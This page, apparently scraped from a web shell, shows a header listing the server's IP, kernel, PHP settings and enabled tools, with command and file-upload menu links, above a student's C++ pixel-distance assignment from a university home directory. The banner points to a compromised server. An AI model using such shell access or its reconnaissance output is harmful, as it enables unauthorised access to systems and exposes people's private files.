Server IP : 172.16.15.8 / Your IP : 3.133.124.23 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/amjamgochian/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS212 CS II Assignment 7 // Due: Mon. April 18, 2011 // // File Name: assign7_pixel.cpp // Author: Abby Jamgochian // Instructor: Dr. Wang // // Compile: g++ assign7_pixel.cpp // Run: ./a.out < data7.txt // // Goal: Read a set of pixels from a file to an object of Pixel class. // Output the coordinates and length (one decimal) for only // the pixel that is ON. // #include <iostream> #include <iomanip> using namespace std; #include "point.h" #include "pixel.h" int main() { Pixel px, origin; int a, b; string str; StatusType s; cin >> a >> b >> str; while(cin) { if( str == "ON" ) s = ON; cout << setprecision(1) << px.Distance(origin); px.Set(a, b, s); cout << "The coordinate's are - " << a << ", " << b << "\n"; cout << "The distance is - " << px.Distance(origin) << "\n\n"; cin >> a >> b >> str; } return 0; }